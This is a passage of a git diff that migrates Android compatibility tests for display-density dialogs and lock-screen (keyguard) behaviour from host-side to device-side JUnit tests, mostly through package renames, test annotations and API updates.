verifyWindowDisplayed("TestActivity", ACTIVITY_TIMEOUT_MILLIS);
setUnsupportedDensity();
// Launch target app.
- startActivity("android.displaysize.app", "SmallestWidthActivity");
+ startActivity("android.server.am.displaysize", "SmallestWidthActivity");
verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
verifyWindowDisplayed("UnsupportedDisplaySizeDialog", WINDOW_TIMEOUT_MILLIS);
}
+ @Test
public void testCompatibilityDialogWhenFocused() throws Exception {
- startActivity("android.displaysize.app", "SmallestWidthActivity");
+ startActivity("android.server.am.displaysize", "SmallestWidthActivity");
verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
setUnsupportedDensity();
@@ -83,24 +75,25 @@
verifyWindowDisplayed("UnsupportedDisplaySizeDialog", WINDOW_TIMEOUT_MILLIS);
}
+ @Test
public void testCompatibilityDialogAfterReturn() throws Exception {
// Launch target app.
- startActivity("android.displaysize.app", "SmallestWidthActivity");
+ startActivity("android.server.am.displaysize", "SmallestWidthActivity");
verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
// Launch another activity.
- startOtherActivityOnTop("android.displaysize.app", "SmallestWidthActivity");
+ startOtherActivityOnTop("android.server.am.displaysize", "SmallestWidthActivity");
verifyWindowDisplayed("TestActivity", ACTIVITY_TIMEOUT_MILLIS);
setUnsupportedDensity();
// Go back.
- mDevice.executeShellCommand("input keyevent 4");
+ executeShellCommand("input keyevent 4");
verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
verifyWindowDisplayed("UnsupportedDisplaySizeDialog", WINDOW_TIMEOUT_MILLIS);
}
- private void setUnsupportedDensity() throws DeviceNotAvailableException {
+ private void setUnsupportedDensity() {
// Set device to 0.85 zoom. It doesn't matter that we're zooming out
// since the feature verifies that we're in a non-default density.
final int stableDensity = getStableDensity();
@@ -109,63 +102,56 @@
}
private int getStableDensity() {
- try {
- final String densityProp;
- if (mDevice.getSerialNumber().startsWith("emulator-")) {
- densityProp = DENSITY_PROP_EMULATOR;
- } else {
- densityProp = DENSITY_PROP_DEVICE;
- }
-
- return Integer.parseInt(mDevice.getProperty(densityProp));
- } catch (DeviceNotAvailableException e) {
- return 0;
+ final String densityProp;
+ if (Build.getSerial().startsWith("emulator-")) {
+ densityProp = DENSITY_PROP_EMULATOR;
+ } else {
+ densityProp = DENSITY_PROP_DEVICE;
}
+
+ return Integer.parseInt(executeShellCommand("getprop " + densityProp).trim());
}
- private void setDensity(int targetDensity) throws DeviceNotAvailableException {
- mDevice.executeShellCommand("wm density " + targetDensity);
+ private void setDensity(int targetDensity) {
+ executeShellCommand("wm density " + targetDensity);
// Verify that the density is changed.
- final String output = mDevice.executeShellCommand("wm density");
+ final String output = executeShellCommand("wm density");
final boolean success = output.contains("Override density: " + targetDensity);
assertTrue("Failed to set density to " + targetDensity, success);
}
- private void resetDensity() throws DeviceNotAvailableException {
- mDevice.executeShellCommand("wm density reset");
+ private void resetDensity() {
+ executeShellCommand("wm density reset");
}
- private void forceStopPackage(String packageName) throws DeviceNotAvailableException {
+ private void forceStopPackage(String packageName) {
final String forceStopCmd = String.format(AM_FORCE_STOP, packageName);
- mDevice.executeShellCommand(forceStopCmd);
+ executeShellCommand(forceStopCmd);
}
- private void startActivity(String packageName, String activityName)
- throws DeviceNotAvailableException {
- mDevice.executeShellCommand(getStartCommand(packageName, activityName));
+ private void startActivity(String packageName, String activityName){
+ executeShellCommand(getStartCommand(packageName, activityName));
}
- private void startOtherActivityOnTop(String packageName, String activityName)
- throws DeviceNotAvailableException {
+ private void startOtherActivityOnTop(String packageName, String activityName) {
final String startCmd = getStartCommand(packageName, activityName)
+ " -f 0x20000000 --ez launch_another_activity true";
- mDevice.executeShellCommand(startCmd);
+ executeShellCommand(startCmd);
}
private String getStartCommand(String packageName, String activityName) {
return String.format(AM_START_COMMAND, packageName, packageName, activityName);
}
- private void verifyWindowDisplayed(String windowName, long timeoutMillis)
- throws DeviceNotAvailableException {
+ private void verifyWindowDisplayed(String windowName, long timeoutMillis) {
boolean success = false;
// Verify that compatibility dialog is shown within 1000ms.
final long timeoutTimeMillis = System.currentTimeMillis() + timeoutMillis;
while (!success && System.currentTimeMillis() < timeoutTimeMillis) {
- final String output = mDevice.executeShellCommand("dumpsys window");
+ final String output = executeShellCommand("dumpsys window");
success = output.contains(windowName);
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java b/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java
similarity index 66%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java
rename to tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java
index a441e56..4ad14db 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java
@@ -14,128 +14,147 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
+
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
/**
* Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.KeyguardLockedTests
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.KeyguardLockedTests
*/
public class KeyguardLockedTests extends KeyguardTestBase {
private static final String SHOW_WHEN_LOCKED_ACTIVITY = "ShowWhenLockedActivity";
private static final String PIP_ACTIVITY = "PipActivity";
private static final String PIP_ACTIVITY_ACTION_ENTER_PIP =
- "android.server.cts.PipActivity.enter_pip";
+ "android.server.am.PipActivity.enter_pip";
private static final String EXTRA_SHOW_OVER_KEYGUARD = "show_over_keyguard";
+ @Before
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
setLockCredential();
}
+ @After
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
super.tearDown();
tearDownLockCredentials();
}
+ @Test
public void testLockAndUnlock() throws Exception {
if (!isHandheld()) {
return;
}
gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- assertShowingAndNotOccluded();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
unlockDeviceWithCredential();
- mAmWmState.waitForKeyguardGone(mDevice);
- assertKeyguardGone();
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.assertKeyguardGone();
}
+ @Test
public void testDismissKeyguard() throws Exception {
if (!isHandheld()) {
return;
}
gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- assertShowingAndNotOccluded();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
launchActivity("DismissKeyguardActivity");
enterAndConfirmLockCredential();
- mAmWmState.waitForKeyguardGone(mDevice);
- assertKeyguardGone();
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.assertKeyguardGone();
mAmWmState.assertVisibility("DismissKeyguardActivity", true);
}
+ @Test
public void testDismissKeyguard_whileOccluded() throws Exception {
if (!isHandheld()) {
return;
}
gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- assertShowingAndNotOccluded();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] { SHOW_WHEN_LOCKED_ACTIVITY });
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( SHOW_WHEN_LOCKED_ACTIVITY ).build());
mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
launchActivity("DismissKeyguardActivity");
enterAndConfirmLockCredential();
- mAmWmState.waitForKeyguardGone(mDevice);
- assertKeyguardGone();
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.assertKeyguardGone();
mAmWmState.assertVisibility("DismissKeyguardActivity", true);
mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, false);
}
+ @Test
public void testDismissKeyguard_fromShowWhenLocked_notAllowed() throws Exception {
if (!isHandheld()) {
return;
}
gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- assertShowingAndNotOccluded();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] { SHOW_WHEN_LOCKED_ACTIVITY });
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( SHOW_WHEN_LOCKED_ACTIVITY ).build());
mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
executeShellCommand("am broadcast -a trigger_broadcast --ez dismissKeyguard true");
enterAndConfirmLockCredential();
// Make sure we stay on Keyguard.
- assertShowingAndOccluded();
+ mAmWmState.assertKeyguardShowingAndOccluded();
mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
}
+ @Test
public void testDismissKeyguardActivity_method() throws Exception {
if (!isHandheld()) {
return;
}
final String logSeparator = clearLogcat();
gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
+ mAmWmState.computeState();
assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
launchActivity("DismissKeyguardMethodActivity");
enterAndConfirmLockCredential();
- mAmWmState.waitForKeyguardGone(mDevice);
- mAmWmState.computeState(mDevice, new String[] { "DismissKeyguardMethodActivity"});
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( "DismissKeyguardMethodActivity").build());
mAmWmState.assertVisibility("DismissKeyguardMethodActivity", true);
assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
assertOnDismissSucceededInLogcat(logSeparator);
}
+ @Test
public void testDismissKeyguardActivity_method_cancelled() throws Exception {
if (!isHandheld()) {
return;
}
final String logSeparator = clearLogcat();
gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
+ mAmWmState.computeState();
assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
launchActivity("DismissKeyguardMethodActivity");
pressBackButton();
assertOnDismissCancelledInLogcat(logSeparator);
- mAmWmState.computeState(mDevice, new String[] {});
+ mAmWmState.computeState();
mAmWmState.assertVisibility("DismissKeyguardMethodActivity", false);
assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
unlockDeviceWithCredential();
}
+ @Test
public void testEnterPipOverKeyguard() throws Exception {
if (!isHandheld() || !supportsPip()) {
return;
@@ -143,24 +162,27 @@
// Go to the keyguard
gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
// Enter PiP on an activity on top of the keyguard, and ensure that it prompts the user for
// their credentials and does not enter picture-in-picture yet
launchActivity(PIP_ACTIVITY, EXTRA_SHOW_OVER_KEYGUARD, "true");
executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
- mAmWmState.waitForKeyguardShowingAndOccluded(mDevice);
- assertShowingAndOccluded();
- mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.", PINNED_STACK_ID);
+ mAmWmState.waitForKeyguardShowingAndOccluded();
+ mAmWmState.assertKeyguardShowingAndOccluded();
+ mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.",
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
// Enter the credentials and ensure that the activity actually entered picture-in-picture
enterAndConfirmLockCredential();
- mAmWmState.waitForKeyguardGone(mDevice);
- assertKeyguardGone();
- mAmWmState.assertContainsStack("Must contain pinned stack.", PINNED_STACK_ID);
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.assertKeyguardGone();
+ mAmWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
+ ACTIVITY_TYPE_STANDARD);
}
+ @Test
public void testShowWhenLockedActivityAndPipActivity() throws Exception {
if (!isHandheld() || !supportsPip()) {
return;
@@ -168,21 +190,24 @@
launchActivity(PIP_ACTIVITY);
executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
- mAmWmState.computeState(mDevice, new String[] { PIP_ACTIVITY });
- mAmWmState.assertContainsStack("Must contain pinned stack.", PINNED_STACK_ID);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(PIP_ACTIVITY).build());
+ mAmWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
+ ACTIVITY_TYPE_STANDARD);
mAmWmState.assertVisibility(PIP_ACTIVITY, true);
launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] { SHOW_WHEN_LOCKED_ACTIVITY });
+ mAmWmState.computeState(
+ new WaitForValidActivityState.Builder(SHOW_WHEN_LOCKED_ACTIVITY).build());
mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndOccluded(mDevice);
- assertShowingAndOccluded();
+ mAmWmState.waitForKeyguardShowingAndOccluded();
+ mAmWmState.assertKeyguardShowingAndOccluded();
mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
mAmWmState.assertVisibility(PIP_ACTIVITY, false);
}
+ @Test
public void testShowWhenLockedPipActivity() throws Exception {
if (!isHandheld() || !supportsPip()) {
return;
@@ -190,13 +215,14 @@
launchActivity(PIP_ACTIVITY, EXTRA_SHOW_OVER_KEYGUARD, "true");
executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
- mAmWmState.computeState(mDevice, new String[] { PIP_ACTIVITY });
- mAmWmState.assertContainsStack("Must contain pinned stack.", PINNED_STACK_ID);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(PIP_ACTIVITY).build());
+ mAmWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
+ ACTIVITY_TYPE_STANDARD);
mAmWmState.assertVisibility(PIP_ACTIVITY, true);
gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- assertShowingAndNotOccluded();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
mAmWmState.assertVisibility(PIP_ACTIVITY, false);
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTestBase.java b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTestBase.java
similarity index 74%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTestBase.java
rename to tests/framework/base/activitymanager/src/android/server/am/KeyguardTestBase.java
index d578644..9a63396 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTestBase.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTestBase.java
@@ -14,29 +14,19 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
-import static android.server.cts.StateLogger.log;
+import static android.server.am.StateLogger.log;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class KeyguardTestBase extends ActivityManagerTestBase {
- protected void assertShowingAndOccluded() {
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardOccluded);
- }
-
- protected void assertShowingAndNotOccluded() {
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardOccluded);
- }
-
- protected void assertKeyguardGone() {
- assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- }
-
protected void assertOnDismissSucceededInLogcat(String logSeparator) throws Exception {
assertInLogcat("KeyguardDismissLoggerCallback", "onDismissSucceeded", logSeparator);
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTests.java
similarity index 69%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java
rename to tests/framework/base/activitymanager/src/android/server/am/KeyguardTests.java
index f186b4c..4bd76f1 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTests.java
@@ -14,16 +14,28 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
-import android.server.cts.WindowManagerState.WindowState;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.view.WindowManager.LayoutParams.TYPE_WALLPAPER;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.server.am.WindowManagerState.WindowState;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
/**
* Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.KeyguardTests
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.KeyguardTests
*/
public class KeyguardTests extends KeyguardTestBase {
+ @Before
@Override
public void setUp() throws Exception {
super.setUp();
@@ -32,6 +44,7 @@
setLockDisabled(false);
}
+ @After
@Override
public void tearDown() throws Exception {
super.tearDown();
@@ -39,31 +52,33 @@
tearDownLockCredentials();
}
+ @Test
public void testKeyguardHidesActivity() throws Exception {
if (!isHandheld()) {
return;
}
launchActivity("TestActivity");
- mAmWmState.computeState(mDevice, new String[] { "TestActivity"});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( "TestActivity").build());
mAmWmState.assertVisibility("TestActivity", true);
gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
- assertShowingAndNotOccluded();
+ mAmWmState.computeState();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
mAmWmState.assertVisibility("TestActivity", false);
unlockDevice();
}
+ @Test
public void testShowWhenLockedActivity() throws Exception {
if (!isHandheld()) {
return;
}
launchActivity("ShowWhenLockedActivity");
- mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity"});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( "ShowWhenLockedActivity").build());
mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
+ mAmWmState.computeState();
mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
- assertShowingAndOccluded();
+ mAmWmState.assertKeyguardShowingAndOccluded();
pressHomeButton();
unlockDevice();
}
@@ -72,19 +87,20 @@
* Tests whether dialogs from SHOW_WHEN_LOCKED activities are also visible if Keyguard is
* showing.
*/
+ @Test
public void testShowWhenLockedActivity_withDialog() throws Exception {
if (!isHandheld()) {
return;
}
launchActivity("ShowWhenLockedWithDialogActivity");
- mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedWithDialogActivity"});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder("ShowWhenLockedWithDialogActivity").build());
mAmWmState.assertVisibility("ShowWhenLockedWithDialogActivity", true);
gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
+ mAmWmState.computeState();
mAmWmState.assertVisibility("ShowWhenLockedWithDialogActivity", true);
assertTrue(mAmWmState.getWmState().allWindowsVisible(
getWindowName("ShowWhenLockedWithDialogActivity")));
- assertShowingAndOccluded();
+ mAmWmState.assertKeyguardShowingAndOccluded();
pressHomeButton();
unlockDevice();
}
@@ -92,21 +108,22 @@
/**
* Tests whether multiple SHOW_WHEN_LOCKED activities are shown if the topmost is translucent.
*/
+ @Test
public void testMultipleShowWhenLockedActivities() throws Exception {
if (!isHandheld()) {
return;
}
launchActivity("ShowWhenLockedActivity");
launchActivity("ShowWhenLockedTranslucentActivity");
- mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity",
- "ShowWhenLockedTranslucentActivity"});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder("ShowWhenLockedActivity").build(),
+ new WaitForValidActivityState.Builder("ShowWhenLockedTranslucentActivity").build());
mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
+ mAmWmState.computeState();
mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
- assertShowingAndOccluded();
+ mAmWmState.assertKeyguardShowingAndOccluded();
pressHomeButton();
unlockDevice();
}
@@ -114,18 +131,19 @@
/**
* If we have a translucent SHOW_WHEN_LOCKED_ACTIVITY, the wallpaper should also be showing.
*/
+ @Test
public void testTranslucentShowWhenLockedActivity() throws Exception {
if (!isHandheld()) {
return;
}
launchActivity("ShowWhenLockedTranslucentActivity");
- mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedTranslucentActivity"});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder("ShowWhenLockedTranslucentActivity").build());
mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
+ mAmWmState.computeState();
mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
assertWallpaperShowing();
- assertShowingAndOccluded();
+ mAmWmState.assertKeyguardShowingAndOccluded();
pressHomeButton();
unlockDevice();
}
@@ -133,37 +151,39 @@
/**
* If we have a translucent SHOW_WHEN_LOCKED activity, the activity behind should not be shown.
*/
+ @Test
public void testTranslucentDoesntRevealBehind() throws Exception {
if (!isHandheld()) {
return;
}
launchActivity("TestActivity");
launchActivity("ShowWhenLockedTranslucentActivity");
- mAmWmState.computeState(mDevice, new String[] { "TestActivity",
- "ShowWhenLockedTranslucentActivity"});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder("TestActivity").build(),
+ new WaitForValidActivityState.Builder("ShowWhenLockedTranslucentActivity").build());
mAmWmState.assertVisibility("TestActivity", true);
mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
+ mAmWmState.computeState();
mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
mAmWmState.assertVisibility("TestActivity", false);
- assertShowingAndOccluded();
+ mAmWmState.assertKeyguardShowingAndOccluded();
pressHomeButton();
unlockDevice();
}
+ @Test
public void testDialogShowWhenLockedActivity() throws Exception {
if (!isHandheld()) {
return;
}
launchActivity("ShowWhenLockedDialogActivity");
- mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedDialogActivity"});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( "ShowWhenLockedDialogActivity").build());
mAmWmState.assertVisibility("ShowWhenLockedDialogActivity", true);
gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
+ mAmWmState.computeState();
mAmWmState.assertVisibility("ShowWhenLockedDialogActivity", true);
assertWallpaperShowing();
- assertShowingAndOccluded();
+ mAmWmState.assertKeyguardShowingAndOccluded();
pressHomeButton();
unlockDevice();
}
@@ -171,6 +191,7 @@
/**
* Test that showWhenLocked activity is fullscreen when shown over keyguard
*/
+ @Test
public void testShowWhenLockedActivityWhileSplit() throws Exception {
if (!isHandheld() || !supportsSplitScreenMultiWindow()) {
return;
@@ -179,11 +200,11 @@
launchActivityToSide(true, false, "ShowWhenLockedActivity");
mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
gotoKeyguard();
- mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity" });
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( "ShowWhenLockedActivity" ).build());
mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
- assertShowingAndOccluded();
+ mAmWmState.assertKeyguardShowingAndOccluded();
mAmWmState.assertDoesNotContainStack("Activity must be full screen.",
- ActivityManagerTestBase.DOCKED_STACK_ID);
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
pressHomeButton();
unlockDevice();
}
@@ -191,43 +212,46 @@
/**
* Tests whether a FLAG_DISMISS_KEYGUARD activity occludes Keyguard.
*/
+ @Test
public void testDismissKeyguardActivity() throws Exception {
if (!isHandheld()) {
return;
}
gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
+ mAmWmState.computeState();
assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
launchActivity("DismissKeyguardActivity");
- mAmWmState.waitForKeyguardShowingAndOccluded(mDevice);
- mAmWmState.computeState(mDevice, new String[] { "DismissKeyguardActivity"});
+ mAmWmState.waitForKeyguardShowingAndOccluded();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( "DismissKeyguardActivity").build());
mAmWmState.assertVisibility("DismissKeyguardActivity", true);
- assertShowingAndOccluded();
+ mAmWmState.assertKeyguardShowingAndOccluded();
}
+ @Test
public void testDismissKeyguardActivity_method() throws Exception {
if (!isHandheld()) {
return;
}
final String logSeparator = clearLogcat();
gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
+ mAmWmState.computeState();
assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
launchActivity("DismissKeyguardMethodActivity");
- mAmWmState.waitForKeyguardGone(mDevice);
- mAmWmState.computeState(mDevice, new String[] { "DismissKeyguardMethodActivity"});
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( "DismissKeyguardMethodActivity").build());
mAmWmState.assertVisibility("DismissKeyguardMethodActivity", true);
assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
assertOnDismissSucceededInLogcat(logSeparator);
}
+ @Test
public void testDismissKeyguardActivity_method_notTop() throws Exception {
if (!isHandheld()) {
return;
}
final String logSeparator = clearLogcat();
gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
+ mAmWmState.computeState();
assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
launchActivity("BroadcastReceiverActivity");
launchActivity("TestActivity");
@@ -235,80 +259,85 @@
assertOnDismissErrorInLogcat(logSeparator);
}
+ @Test
public void testDismissKeyguardActivity_method_turnScreenOn() throws Exception {
if (!isHandheld()) {
return;
}
final String logSeparator = clearLogcat();
sleepDevice();
- mAmWmState.computeState(mDevice, null);
+ mAmWmState.computeState();
assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
launchActivity("TurnScreenOnDismissKeyguardActivity");
- mAmWmState.waitForKeyguardGone(mDevice);
- mAmWmState.computeState(mDevice, new String[] { "TurnScreenOnDismissKeyguardActivity"});
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( "TurnScreenOnDismissKeyguardActivity").build());
mAmWmState.assertVisibility("TurnScreenOnDismissKeyguardActivity", true);
assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
assertOnDismissSucceededInLogcat(logSeparator);
}
+ @Test
public void testDismissKeyguard_fromShowWhenLocked_notAllowed() throws Exception {
if (!isHandheld()) {
return;
}
gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- assertShowingAndNotOccluded();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
launchActivity("ShowWhenLockedActivity");
- mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity" });
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( "ShowWhenLockedActivity" ).build());
mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
- assertShowingAndOccluded();
+ mAmWmState.assertKeyguardShowingAndOccluded();
executeShellCommand("am broadcast -a trigger_broadcast --ez dismissKeyguard true");
- assertShowingAndOccluded();
+ mAmWmState.assertKeyguardShowingAndOccluded();
mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
}
+ @Test
public void testKeyguardLock() throws Exception {
if (!isHandheld()) {
return;
}
gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- assertShowingAndNotOccluded();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
launchActivity("KeyguardLockActivity");
- mAmWmState.computeState(mDevice, new String[] { "KeyguardLockActivity" });
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( "KeyguardLockActivity" ).build());
mAmWmState.assertVisibility("KeyguardLockActivity", true);
executeShellCommand(FINISH_ACTIVITY_BROADCAST);
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- assertShowingAndNotOccluded();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
}
+ @Test
public void testUnoccludeRotationChange() throws Exception {
if (!isHandheld()) {
return;
}
gotoKeyguard();
